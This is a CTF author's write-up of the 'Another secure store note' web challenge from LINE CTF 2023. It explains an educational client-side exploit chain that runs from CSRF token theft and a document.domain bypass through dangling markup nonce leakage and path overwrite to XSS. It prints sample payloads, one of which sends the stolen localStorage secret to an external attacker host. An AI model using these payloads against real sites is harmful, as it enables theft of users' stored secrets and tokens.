LINE CTF 2023 [Web] Another secure store note - Author's writeup

Hello, I’m the author of Another secure store note in LINE CTF 2023 which was held on 25/03 to 26/03.

The challenge was solved by 7 out of 477 teams and the final score was 322.

For anyone interested on solving it again, the challenge is now being hosted on https://assn-ctf.drstra.in . And here is the source code that is given to the player while playing the CTF.

Even for anyone who did not participate the LINE CTF competition, I would recommend people to try solve the problem because it contains multiple web client-side bug chains. For educational purpose, for each bug I also listed a good resource for new people to try and learn.

Challenge summary

  • You’re given a page that could store note into the website’s localStorage.
  • It is trivial to see the HTML injection with restricted Content-Security-Policy.
  • And there’s the bot (running as Firefox) that store its flag to the localStorage. So please, open up Firefox and don’t use Chrome.

Solution

As far as I believe, there’s no other way except XSS to read localStorage. If we could XSS, we can just run location.href = 'https://our-external-site.com/?flag=' + localStorage.get('secret'). Hence, the HTML injection seems like a good candiate for XSS. And the HTML injection is on the user’s name. The server’s set cookie have sameSite=None, this also highlight the fact that we could CSRF some functionality in the challenge.

  • Read more about XSS here
  • Read more about CSRF here
  • Read more about sameSite cookie here.

To set the admin bot’s name, The POST /profile here requires the user to have csrf token within the body in csrfCheck function.

Even though the admin’s user CSRF token is random when user login, the csrf is embed inside /getSettings.js.

Getting CSRF token

There’s a check in getSettings.js:

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === 'assn.anctf.tk') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<user_csrf>'; } catch (e) {}
}

Author’s note:

The function isInWindowContext is used to check if the user is using Web Worker. In short, a javascript file can: new Worker('worker.js'). Then, when browser execute worker.js file, it would be in Worker context, which is quite different than normal Window context. For example there’s no document object in Worker context, thus people can just create a document = { domain: "assn.anctf.tk" } to bypass the document.domain check. That’s why I came up with the function isInWindowContext to prevent people from opening Web Worker.

The document.domain === "assn.anctf.tk" is very easy to bypass. Many teams did this:

Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"}); (noted that while in CTF, the server is hosted on 35.200.57.143)

However, while creating the challenge, my exploit code is:

document.__proto__ = {};
document.domain = "assn.anctf.tk";

How did I came up with this ? One day I was fuzzing around with the document object, and I noticed that breaking the prototype of document object causes lots of properties in document just vanished.

Thus, we have bypassed the check and now the CSRF token is loaded into document.getElementById("_csrf").value = "<user_csrf>";.

Author’s note:

Up until this step, if you’re using Firefox, when you writing the exploit code to get the CSRF token, you might notice there’s no cookie sending to /getSettings.js (which cause you to receive the default CSRF token). This is because Firefox desktop have a mitigation called State Partitioning. However, the Firefox’s pupeteer does not have this feature, so we’re still good to go 😄.

Bypass strict content security policy

Read more about Content Security Policy (CSP) here.

The CSP is set as: default-src 'self'; base-uri 'self'; script-src 'nonce-random_nonce_here'.

Because we’re targeting XSS, we must find a place to leak the nonce. So we could try a simple dangling markup injection (to study about dangling markup injection, go here):

<meta http-equiv="refresh" content='1; url=https://<your_domain>/?leak=.

Firefox would include all the string until it meet character ', which also includes the nonce.

Firefox dangling markup injection

The image is taken from other team’s blog: http://blog.bi0s.in/2023/03/28/Web/AnotherSecureStoreNote-LINECTF20232023/

Author’s note:

On Chrome, the dangling markup would get blocked because Chrome have a mitigation feature describe here: https://chromestatus.com/feature/5735596811091968 . In short, if Chrome see a URL that contains both < character and \n character then Chrome consider it to be a malicious URL.

Stopping nonce from randomizing

Even though we could get the nonce, the nonce is still being randomize via GET /csp.gif. However, we could navigate to https://assn.anctf.tk/profile/ which cause a Relative Path Overwrite, the csp.gif file will be loaded as GET /profile/csp.gif, which stop the randomizing to occur.

Author’s note:

It’s my fault for not setting CSP base-uri 'none'. Many teams have solved this by input a <base href="/lmao/"> tag. Thus, they didn’t need RPO.

Full exploit

The whole exploit of mine is at: https://github.com/phvietan/My-Public-CTF-Challs/tree/main/line-ctf-2023/another-secure-store-note/solver

Thanks for bearing with my looooongggg writeups.

Good day & happy hacking, girls and gals !!!